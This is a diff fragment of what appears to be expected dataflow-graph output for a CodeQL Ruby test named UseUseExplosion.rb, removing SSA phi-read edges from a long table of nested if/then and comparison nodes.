-| UseUseExplosion.rb:20:724:20:3156 | SSA phi read(x) | UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:724:20:3156 | if ... | UseUseExplosion.rb:20:719:20:3156 | then ... |
 | UseUseExplosion.rb:20:728:20:732 | @prop | UseUseExplosion.rb:20:728:20:737 | ... > ... |
 | UseUseExplosion.rb:20:728:20:732 | [post] self | UseUseExplosion.rb:20:749:20:753 | self |
@@ -688,11 +551,7 @@
 | UseUseExplosion.rb:20:728:20:737 | ... > ... | UseUseExplosion.rb:20:727:20:738 | [false] ( ... ) |
 | UseUseExplosion.rb:20:728:20:737 | ... > ... | UseUseExplosion.rb:20:727:20:738 | [true] ( ... ) |
 | UseUseExplosion.rb:20:736:20:737 | 66 | UseUseExplosion.rb:20:728:20:737 | ... > ... |
-| UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(self) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) |
-| UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(x) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(x) |
 | UseUseExplosion.rb:20:740:20:3140 | then ... | UseUseExplosion.rb:20:724:20:3156 | if ... |
-| UseUseExplosion.rb:20:745:20:3140 | SSA phi read(self) | UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:745:20:3140 | SSA phi read(x) | UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:745:20:3140 | if ... | UseUseExplosion.rb:20:740:20:3140 | then ... |
 | UseUseExplosion.rb:20:749:20:753 | @prop | UseUseExplosion.rb:20:749:20:758 | ... > ... |
 | UseUseExplosion.rb:20:749:20:753 | [post] self | UseUseExplosion.rb:20:770:20:774 | self |
@@ -702,11 +561,7 @@
 | UseUseExplosion.rb:20:749:20:758 | ... > ... | UseUseExplosion.rb:20:748:20:759 | [false] ( ... ) |
 | UseUseExplosion.rb:20:749:20:758 | ... > ... | UseUseExplosion.rb:20:748:20:759 | [true] ( ... ) |
 | UseUseExplosion.rb:20:757:20:758 | 65 | UseUseExplosion.rb:20:749:20:758 | ... > ... |
-| UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(self) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(self) |
-| UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(x) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(x) |
 | UseUseExplosion.rb:20:761:20:3124 | then ... | UseUseExplosion.rb:20:745:20:3140 | if ... |
-| UseUseExplosion.rb:20:766:20:3124 | SSA phi read(self) | UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:766:20:3124 | SSA phi read(x) | UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:766:20:3124 | if ... | UseUseExplosion.rb:20:761:20:3124 | then ... |
 | UseUseExplosion.rb:20:770:20:774 | @prop | UseUseExplosion.rb:20:770:20:779 | ... > ... |
 | UseUseExplosion.rb:20:770:20:774 | [post] self | UseUseExplosion.rb:20:791:20:795 | self |
@@ -716,11 +571,7 @@
 | UseUseExplosion.rb:20:770:20:779 | ... > ... | UseUseExplosion.rb:20:769:20:780 | [false] ( ... ) |
 | UseUseExplosion.rb:20:770:20:779 | ... > ... | UseUseExplosion.rb:20:769:20:780 | [true] ( ... ) |
 | UseUseExplosion.rb:20:778:20:779 | 64 | UseUseExplosion.rb:20:770:20:779 | ... > ... |
-| UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(self) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(self) |
-| UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(x) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(x) |
 | UseUseExplosion.rb:20:782:20:3108 | then ... | UseUseExplosion.rb:20:766:20:3124 | if ... |
-| UseUseExplosion.rb:20:787:20:3108 | SSA phi read(self) | UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:787:20:3108 | SSA phi read(x) | UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:787:20:3108 | if ... | UseUseExplosion.rb:20:782:20:3108 | then ... |
 | UseUseExplosion.rb:20:791:20:795 | @prop | UseUseExplosion.rb:20:791:20:800 | ... > ... |
 | UseUseExplosion.rb:20:791:20:795 | [post] self | UseUseExplosion.rb:20:812:20:816 | self |
@@ -730,11 +581,7 @@
 | UseUseExplosion.rb:20:791:20:800 | ... > ... | UseUseExplosion.rb:20:790:20:801 | [false] ( ... ) |
 | UseUseExplosion.rb:20:791:20:800 | ... > ... | UseUseExplosion.rb:20:790:20:801 | [true] ( ... ) |
 | UseUseExplosion.rb:20:799:20:800 | 63 | UseUseExplosion.rb:20:791:20:800 | ... > ... |
-| UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(self) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(self) |
-| UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(x) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(x) |
 | UseUseExplosion.rb:20:803:20:3092 | then ... | UseUseExplosion.rb:20:787:20:3108 | if ... |
-| UseUseExplosion.rb:20:808:20:3092 | SSA phi read(self) | UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:808:20:3092 | SSA phi read(x) | UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:808:20:3092 | if ... | UseUseExplosion.rb:20:803:20:3092 | then ... |
 | UseUseExplosion.rb:20:812:20:816 | @prop | UseUseExplosion.rb:20:812:20:821 | ... > ... |
 | UseUseExplosion.rb:20:812:20:816 | [post] self | UseUseExplosion.rb:20:833:20:837 | self |
@@ -744,11 +591,7 @@
 | UseUseExplosion.rb:20:812:20:821 | ... > ... | UseUseExplosion.rb:20:811:20:822 | [false] ( ... ) |
 | UseUseExplosion.rb:20:812:20:821 | ... > ... | UseUseExplosion.rb:20:811:20:822 | [true] ( ... ) |
 | UseUseExplosion.rb:20:820:20:821 | 62 | UseUseExplosion.rb:20:812:20:821 | ... > ... |
-| UseUseExplosion.rb:20:824:20:3076 | [input] SSA phi read(self) | UseUseExplosion.rb:20:808:20:3092 | SSA phi read(self) |
-| UseUseExplosion.rb:20:824:20:3076 | [input] SSA phi read(x) | UseUseExplosion.rb:20:808:20:3092 | SSA phi read(x) |
 | UseUseExplosion.rb:20:824:20:3076 | then ... | UseUseExplosion.rb:20:808:20:3092 | if ... |
-| UseUseExplosion.rb:20:829:20:3076 | SSA phi read(self) | UseUseExplosion.rb:20:824:20:3076 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:829:20:3076 | SSA phi read(x) | UseUseExplosion.rb:20:824:20:3076 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:829:20:3076 | if ... | UseUseExplosion.rb:20:824:20:3076 | then ... |
 | UseUseExplosion.rb:20:833:20:837 | @prop | UseUseExplosion.rb:20:833:20:842 | ... > ... |
 | UseUseExplosion.rb:20:833:20:837 | [post] self | UseUseExplosion.rb:20:854:20:858 | self |
@@ -758,11 +601,7 @@
 | UseUseExplosion.rb:20:833:20:842 | ... > ... | UseUseExplosion.rb:20:832:20:843 | [false] ( ... ) |
 | UseUseExplosion.rb:20:833:20:842 | ... > ... | UseUseExplosion.rb:20:832:20:843 | [true] ( ... ) |
 | UseUseExplosion.rb:20:841:20:842 | 61 | UseUseExplosion.rb:20:833:20:842 | ... > ... |
-| UseUseExplosion.rb:20:845:20:3060 | [input] SSA phi read(self) | UseUseExplosion.rb:20:829:20:3076 | SSA phi read(self) |
-| UseUseExplosion.rb:20:845:20:3060 | [input] SSA phi read(x) | UseUseExplosion.rb:20:829:20:3076 | SSA phi read(x) |
 | UseUseExplosion.rb:20:845:20:3060 | then ... | UseUseExplosion.rb:20:829:20:3076 | if ... |
-| UseUseExplosion.rb:20:850:20:3060 | SSA phi read(self) | UseUseExplosion.rb:20:845:20:3060 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:850:20:3060 | SSA phi read(x) | UseUseExplosion.rb:20:845:20:3060 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:850:20:3060 | if ... | UseUseExplosion.rb:20:845:20:3060 | then ... |
 | UseUseExplosion.rb:20:854:20:858 | @prop | UseUseExplosion.rb:20:854:20:863 | ... > ... |
 | UseUseExplosion.rb:20:854:20:858 | [post] self | UseUseExplosion.rb:20:875:20:879 | self |
@@ -772,11 +611,7 @@
 | UseUseExplosion.rb:20:854:20:863 | ... > ... | UseUseExplosion.rb:20:853:20:864 | [false] ( ... ) |
 | UseUseExplosion.rb:20:854:20:863 | ... > ... | UseUseExplosion.rb:20:853:20:864 | [true] ( ... ) |
 | UseUseExplosion.rb:20:862:20:863 | 60 | UseUseExplosion.rb:20:854:20:863 | ... > ... |
-| UseUseExplosion.rb:20:866:20:3044 | [input] SSA phi read(self) | UseUseExplosion.rb:20:850:20:3060 | SSA phi read(self) |
-| UseUseExplosion.rb:20:866:20:3044 | [input] SSA phi read(x) | UseUseExplosion.rb:20:850:20:3060 | SSA phi read(x) |
 | UseUseExplosion.rb:20:866:20:3044 | then ... | UseUseExplosion.rb:20:850:20:3060 | if ... |
-| UseUseExplosion.rb:20:871:20:3044 | SSA phi read(self) | UseUseExplosion.rb:20:866:20:3044 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:871:20:3044 | SSA phi read(x) | UseUseExplosion.rb:20:866:20:3044 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:871:20:3044 | if ... | UseUseExplosion.rb:20:866:20:3044 | then ... |
 | UseUseExplosion.rb:20:875:20:879 | @prop | UseUseExplosion.rb:20:875:20:884 | ... > ... |
 | UseUseExplosion.rb:20:875:20:879 | [post] self | UseUseExplosion.rb:20:896:20:900 | self |
@@ -786,11 +621,7 @@
 | UseUseExplosion.rb:20:875:20:884 | ... > ... | UseUseExplosion.rb:20:874:20:885 | [false] ( ... ) |
 | UseUseExplosion.rb:20:875:20:884 | ... > ... | UseUseExplosion.rb:20:874:20:885 | [true] ( ... ) |
 | UseUseExplosion.rb:20:883:20:884 | 59 | UseUseExplosion.rb:20:875:20:884 | ... > ... |
-| UseUseExplosion.rb:20:887:20:3028 | [input] SSA phi read(self) | UseUseExplosion.rb:20:871:20:3044 | SSA phi read(self) |
-| UseUseExplosion.rb:20:887:20:3028 | [input] SSA phi read(x) | UseUseExplosion.rb:20:871:20:3044 | SSA phi read(x) |
 | UseUseExplosion.rb:20:887:20:3028 | then ... | UseUseExplosion.rb:20:871:20:3044 | if ... |
-| UseUseExplosion.rb:20:892:20:3028 | SSA phi read(self) | UseUseExplosion.rb:20:887:20:3028 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:892:20:3028 | SSA phi read(x) | UseUseExplosion.rb:20:887:20:3028 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:892:20:3028 | if ... | UseUseExplosion.rb:20:887:20:3028 | then ... |
 | UseUseExplosion.rb:20:896:20:900 | @prop | UseUseExplosion.rb:20:896:20:905 | ... > ... |
 | UseUseExplosion.rb:20:896:20:900 | [post] self | UseUseExplosion.rb:20:917:20:921 | self |
@@ -800,11 +631,7 @@
 | UseUseExplosion.rb:20:896:20:905 | ... > ... | UseUseExplosion.rb:20:895:20:906 | [false] ( ... ) |
 | UseUseExplosion.rb:20:896:20:905 | ... > ... | UseUseExplosion.rb:20:895:20:906 | [true] ( ... ) |
 | UseUseExplosion.rb:20:904:20:905 | 58 | UseUseExplosion.rb:20:896:20:905 | ... > ... |
-| UseUseExplosion.rb:20:908:20:3012 | [input] SSA phi read(self) | UseUseExplosion.rb:20:892:20:3028 | SSA phi read(self) |
-| UseUseExplosion.rb:20:908:20:3012 | [input] SSA phi read(x) | UseUseExplosion.rb:20:892:20:3028 | SSA phi read(x) |
 | UseUseExplosion.rb:20:908:20:3012 | then ... | UseUseExplosion.rb:20:892:20:3028 | if ... |
-| UseUseExplosion.rb:20:913:20:3012 | SSA phi read(self) | UseUseExplosion.rb:20:908:20:3012 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:913:20:3012 | SSA phi read(x) | UseUseExplosion.rb:20:908:20:3012 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:913:20:3012 | if ... | UseUseExplosion.rb:20:908:20:3012 | then ... |
 | UseUseExplosion.rb:20:917:20:921 | @prop | UseUseExplosion.rb:20:917:20:926 | ... > ... |
 | UseUseExplosion.rb:20:917:20:921 | [post] self | UseUseExplosion.rb:20:938:20:942 | self |
@@ -814,11 +641,7 @@
 | UseUseExplosion.rb:20:917:20:926 | ... > ... | UseUseExplosion.rb:20:916:20:927 | [false] ( ... ) |
 | UseUseExplosion.rb:20:917:20:926 | ... > ... | UseUseExplosion.rb:20:916:20:927 | [true] ( ... ) |
 | UseUseExplosion.rb:20:925:20:926 | 57 | UseUseExplosion.rb:20:917:20:926 | ... > ... |
-| UseUseExplosion.rb:20:929:20:2996 | [input] SSA phi read(self) | UseUseExplosion.rb:20:913:20:3012 | SSA phi read(self) |
-| UseUseExplosion.rb:20:929:20:2996 | [input] SSA phi read(x) | UseUseExplosion.rb:20:913:20:3012 | SSA phi read(x) |
 | UseUseExplosion.rb:20:929:20:2996 | then ... | UseUseExplosion.rb:20:913:20:3012 | if ... |
-| UseUseExplosion.rb:20:934:20:2996 | SSA phi read(self) | UseUseExplosion.rb:20:929:20:2996 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:934:20:2996 | SSA phi read(x) | UseUseExplosion.rb:20:929:20:2996 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:934:20:2996 | if ... | UseUseExplosion.rb:20:929:20:2996 | then ... |
 | UseUseExplosion.rb:20:938:20:942 | @prop | UseUseExplosion.rb:20:938:20:947 | ... > ... |
 | UseUseExplosion.rb:20:938:20:942 | [post] self | UseUseExplosion.rb:20:959:20:963 | self |
@@ -828,11 +651,7 @@
 | UseUseExplosion.rb:20:938:20:947 | ... > ... | UseUseExplosion.rb:20:937:20:948 | [false] ( ... ) |
 | UseUseExplosion.rb:20:938:20:947 | ... > ... | UseUseExplosion.rb:20:937:20:948 | [true] ( ... ) |
 | UseUseExplosion.rb:20:946:20:947 | 56 | UseUseExplosion.rb:20:938:20:947 | ... > ... |
-| UseUseExplosion.rb:20:950:20:2980 | [input] SSA phi read(self) | UseUseExplosion.rb:20:934:20:2996 | SSA phi read(self) |
-| UseUseExplosion.rb:20:950:20:2980 | [input] SSA phi read(x) | UseUseExplosion.rb:20:934:20:2996 | SSA phi read(x) |
 | UseUseExplosion.rb:20:950:20:2980 | then ... | UseUseExplosion.rb:20:934:20:2996 | if ... |
-| UseUseExplosion.rb:20:955:20:2980 | SSA phi read(self) | UseUseExplosion.rb:20:950:20:2980 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:955:20:2980 | SSA phi read(x) | UseUseExplosion.rb:20:950:20:2980 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:955:20:2980 | if ... | UseUseExplosion.rb:20:950:20:2980 | then ... |
 | UseUseExplosion.rb:20:959:20:963 | @prop | UseUseExplosion.rb:20:959:20:968 | ... > ... |
 | UseUseExplosion.rb:20:959:20:963 | [post] self | UseUseExplosion.rb:20:980:20:984 | self |
@@ -842,11 +661,7 @@
 | UseUseExplosion.rb:20:959:20:968 | ... > ... | UseUseExplosion.rb:20:958:20:969 | [false] ( ... ) |
 | UseUseExplosion.rb:20:959:20:968 | ... > ... | UseUseExplosion.rb:20:958:20:969 | [true] ( ... ) |
 | UseUseExplosion.rb:20:967:20:968 | 55 | UseUseExplosion.rb:20:959:20:968 | ... > ... |
-| UseUseExplosion.rb:20:971:20:2964 | [input] SSA phi read(self) | UseUseExplosion.rb:20:955:20:2980 | SSA phi read(self) |
-| UseUseExplosion.rb:20:971:20:2964 | [input] SSA phi read(x) | UseUseExplosion.rb:20:955:20:2980 | SSA phi read(x) |
 | UseUseExplosion.rb:20:971:20:2964 | then ... | UseUseExplosion.rb:20:955:20:2980 | if ... |
-| UseUseExplosion.rb:20:976:20:2964 | SSA phi read(self) | UseUseExplosion.rb:20:971:20:2964 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:976:20:2964 | SSA phi read(x) | UseUseExplosion.rb:20:971:20:2964 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:976:20:2964 | if ... | UseUseExplosion.rb:20:971:20:2964 | then ... |
 | UseUseExplosion.rb:20:980:20:984 | @prop | UseUseExplosion.rb:20:980:20:989 | ... > ... |
 | UseUseExplosion.rb:20:980:20:984 | [post] self | UseUseExplosion.rb:20:1001:20:1005 | self |
@@ -856,11 +671,7 @@
 | UseUseExplosion.rb:20:980:20:989 | ... > ... | UseUseExplosion.rb:20:979:20:990 | [false] ( ... ) |
 | UseUseExplosion.rb:20:980:20:989 | ... > ... | UseUseExplosion.rb:20:979:20:990 | [true] ( ... ) |
 | UseUseExplosion.rb:20:988:20:989 | 54 | UseUseExplosion.rb:20:980:20:989 | ... > ... |
-| UseUseExplosion.rb:20:992:20:2948 | [input] SSA phi read(self) | UseUseExplosion.rb:20:976:20:2964 | SSA phi read(self) |
-| UseUseExplosion.rb:20:992:20:2948 | [input] SSA phi read(x) | UseUseExplosion.rb:20:976:20:2964 | SSA phi read(x) |
 | UseUseExplosion.rb:20:992:20:2948 | then ... | UseUseExplosion.rb:20:976:20:2964 | if ... |
-| UseUseExplosion.rb:20:997:20:2948 | SSA phi read(self) | UseUseExplosion.rb:20:992:20:2948 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:997:20:2948 | SSA phi read(x) | UseUseExplosion.rb:20:992:20:2948 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:997:20:2948 | if ... | UseUseExplosion.rb:20:992:20:2948 | then ... |
 | UseUseExplosion.rb:20:1001:20:1005 | @prop | UseUseExplosion.rb:20:1001:20:1010 | ... > ... |
 | UseUseExplosion.rb:20:1001:20:1005 | [post] self | UseUseExplosion.rb:20:1022:20:1026 | self |
@@ -870,11 +681,7 @@
 | UseUseExplosion.rb:20:1001:20:1010 | ... > ... | UseUseExplosion.rb:20:1000:20:1011 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1001:20:1010 | ... > ... | UseUseExplosion.rb:20:1000:20:1011 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1009:20:1010 | 53 | UseUseExplosion.rb:20:1001:20:1010 | ... > ... |
-| UseUseExplosion.rb:20:1013:20:2932 | [input] SSA phi read(self) | UseUseExplosion.rb:20:997:20:2948 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1013:20:2932 | [input] SSA phi read(x) | UseUseExplosion.rb:20:997:20:2948 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1013:20:2932 | then ... | UseUseExplosion.rb:20:997:20:2948 | if ... |
-| UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(self) | UseUseExplosion.rb:20:1013:20:2932 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(x) | UseUseExplosion.rb:20:1013:20:2932 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1018:20:2932 | if ... | UseUseExplosion.rb:20:1013:20:2932 | then ... |
 | UseUseExplosion.rb:20:1022:20:1026 | @prop | UseUseExplosion.rb:20:1022:20:1031 | ... > ... |
 | UseUseExplosion.rb:20:1022:20:1026 | [post] self | UseUseExplosion.rb:20:1043:20:1047 | self |
@@ -884,11 +691,7 @@
 | UseUseExplosion.rb:20:1022:20:1031 | ... > ... | UseUseExplosion.rb:20:1021:20:1032 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1022:20:1031 | ... > ... | UseUseExplosion.rb:20:1021:20:1032 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1030:20:1031 | 52 | UseUseExplosion.rb:20:1022:20:1031 | ... > ... |
-| UseUseExplosion.rb:20:1034:20:2916 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1034:20:2916 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1034:20:2916 | then ... | UseUseExplosion.rb:20:1018:20:2932 | if ... |
-| UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(self) | UseUseExplosion.rb:20:1034:20:2916 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(x) | UseUseExplosion.rb:20:1034:20:2916 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1039:20:2916 | if ... | UseUseExplosion.rb:20:1034:20:2916 | then ... |
 | UseUseExplosion.rb:20:1043:20:1047 | @prop | UseUseExplosion.rb:20:1043:20:1052 | ... > ... |
 | UseUseExplosion.rb:20:1043:20:1047 | [post] self | UseUseExplosion.rb:20:1064:20:1068 | self |
@@ -898,11 +701,7 @@
 | UseUseExplosion.rb:20:1043:20:1052 | ... > ... | UseUseExplosion.rb:20:1042:20:1053 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1043:20:1052 | ... > ... | UseUseExplosion.rb:20:1042:20:1053 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1051:20:1052 | 51 | UseUseExplosion.rb:20:1043:20:1052 | ... > ... |
-| UseUseExplosion.rb:20:1055:20:2900 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1055:20:2900 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1055:20:2900 | then ... | UseUseExplosion.rb:20:1039:20:2916 | if ... |
-| UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(self) | UseUseExplosion.rb:20:1055:20:2900 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(x) | UseUseExplosion.rb:20:1055:20:2900 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1060:20:2900 | if ... | UseUseExplosion.rb:20:1055:20:2900 | then ... |
 | UseUseExplosion.rb:20:1064:20:1068 | @prop | UseUseExplosion.rb:20:1064:20:1073 | ... > ... |
 | UseUseExplosion.rb:20:1064:20:1068 | [post] self | UseUseExplosion.rb:20:1085:20:1089 | self |
@@ -912,11 +711,7 @@
 | UseUseExplosion.rb:20:1064:20:1073 | ... > ... | UseUseExplosion.rb:20:1063:20:1074 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1064:20:1073 | ... > ... | UseUseExplosion.rb:20:1063:20:1074 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1072:20:1073 | 50 | UseUseExplosion.rb:20:1064:20:1073 | ... > ... |
-| UseUseExplosion.rb:20:1076:20:2884 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1076:20:2884 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1076:20:2884 | then ... | UseUseExplosion.rb:20:1060:20:2900 | if ... |
-| UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(self) | UseUseExplosion.rb:20:1076:20:2884 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(x) | UseUseExplosion.rb:20:1076:20:2884 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1081:20:2884 | if ... | UseUseExplosion.rb:20:1076:20:2884 | then ... |
 | UseUseExplosion.rb:20:1085:20:1089 | @prop | UseUseExplosion.rb:20:1085:20:1094 | ... > ... |
 | UseUseExplosion.rb:20:1085:20:1089 | [post] self | UseUseExplosion.rb:20:1106:20:1110 | self |
@@ -926,11 +721,7 @@
 | UseUseExplosion.rb:20:1085:20:1094 | ... > ... | UseUseExplosion.rb:20:1084:20:1095 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1085:20:1094 | ... > ... | UseUseExplosion.rb:20:1084:20:1095 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1093:20:1094 | 49 | UseUseExplosion.rb:20:1085:20:1094 | ... > ... |
-| UseUseExplosion.rb:20:1097:20:2868 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1097:20:2868 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1097:20:2868 | then ... | UseUseExplosion.rb:20:1081:20:2884 | if ... |
-| UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(self) | UseUseExplosion.rb:20:1097:20:2868 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(x) | UseUseExplosion.rb:20:1097:20:2868 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1102:20:2868 | if ... | UseUseExplosion.rb:20:1097:20:2868 | then ... |
 | UseUseExplosion.rb:20:1106:20:1110 | @prop | UseUseExplosion.rb:20:1106:20:1115 | ... > ... |
 | UseUseExplosion.rb:20:1106:20:1110 | [post] self | UseUseExplosion.rb:20:1127:20:1131 | self |
@@ -940,11 +731,7 @@
 | UseUseExplosion.rb:20:1106:20:1115 | ... > ... | UseUseExplosion.rb:20:1105:20:1116 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1106:20:1115 | ... > ... | UseUseExplosion.rb:20:1105:20:1116 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1114:20:1115 | 48 | UseUseExplosion.rb:20:1106:20:1115 | ... > ... |
-| UseUseExplosion.rb:20:1118:20:2852 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1118:20:2852 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1118:20:2852 | then ... | UseUseExplosion.rb:20:1102:20:2868 | if ... |
-| UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(self) | UseUseExplosion.rb:20:1118:20:2852 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(x) | UseUseExplosion.rb:20:1118:20:2852 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1123:20:2852 | if ... | UseUseExplosion.rb:20:1118:20:2852 | then ... |
 | UseUseExplosion.rb:20:1127:20:1131 | @prop | UseUseExplosion.rb:20:1127:20:1136 | ... > ... |
 | UseUseExplosion.rb:20:1127:20:1131 | [post] self | UseUseExplosion.rb:20:1148:20:1152 | self |
@@ -954,11 +741,7 @@
 | UseUseExplosion.rb:20:1127:20:1136 | ... > ... | UseUseExplosion.rb:20:1126:20:1137 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1127:20:1136 | ... > ... | UseUseExplosion.rb:20:1126:20:1137 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1135:20:1136 | 47 | UseUseExplosion.rb:20:1127:20:1136 | ... > ... |
-| UseUseExplosion.rb:20:1139:20:2836 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1139:20:2836 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1139:20:2836 | then ... | UseUseExplosion.rb:20:1123:20:2852 | if ... |
-| UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(self) | UseUseExplosion.rb:20:1139:20:2836 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(x) | UseUseExplosion.rb:20:1139:20:2836 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1144:20:2836 | if ... | UseUseExplosion.rb:20:1139:20:2836 | then ... |
 | UseUseExplosion.rb:20:1148:20:1152 | @prop | UseUseExplosion.rb:20:1148:20:1157 | ... > ... |
 | UseUseExplosion.rb:20:1148:20:1152 | [post] self | UseUseExplosion.rb:20:1169:20:1173 | self |
@@ -968,11 +751,7 @@
 | UseUseExplosion.rb:20:1148:20:1157 | ... > ... | UseUseExplosion.rb:20:1147:20:1158 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1148:20:1157 | ... > ... | UseUseExplosion.rb:20:1147:20:1158 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1156:20:1157 | 46 | UseUseExplosion.rb:20:1148:20:1157 | ... > ... |
-| UseUseExplosion.rb:20:1160:20:2820 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1160:20:2820 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1160:20:2820 | then ... | UseUseExplosion.rb:20:1144:20:2836 | if ... |
-| UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(self) | UseUseExplosion.rb:20:1160:20:2820 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(x) | UseUseExplosion.rb:20:1160:20:2820 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1165:20:2820 | if ... | UseUseExplosion.rb:20:1160:20:2820 | then ... |
 | UseUseExplosion.rb:20:1169:20:1173 | @prop | UseUseExplosion.rb:20:1169:20:1178 | ... > ... |
 | UseUseExplosion.rb:20:1169:20:1173 | [post] self | UseUseExplosion.rb:20:1190:20:1194 | self |
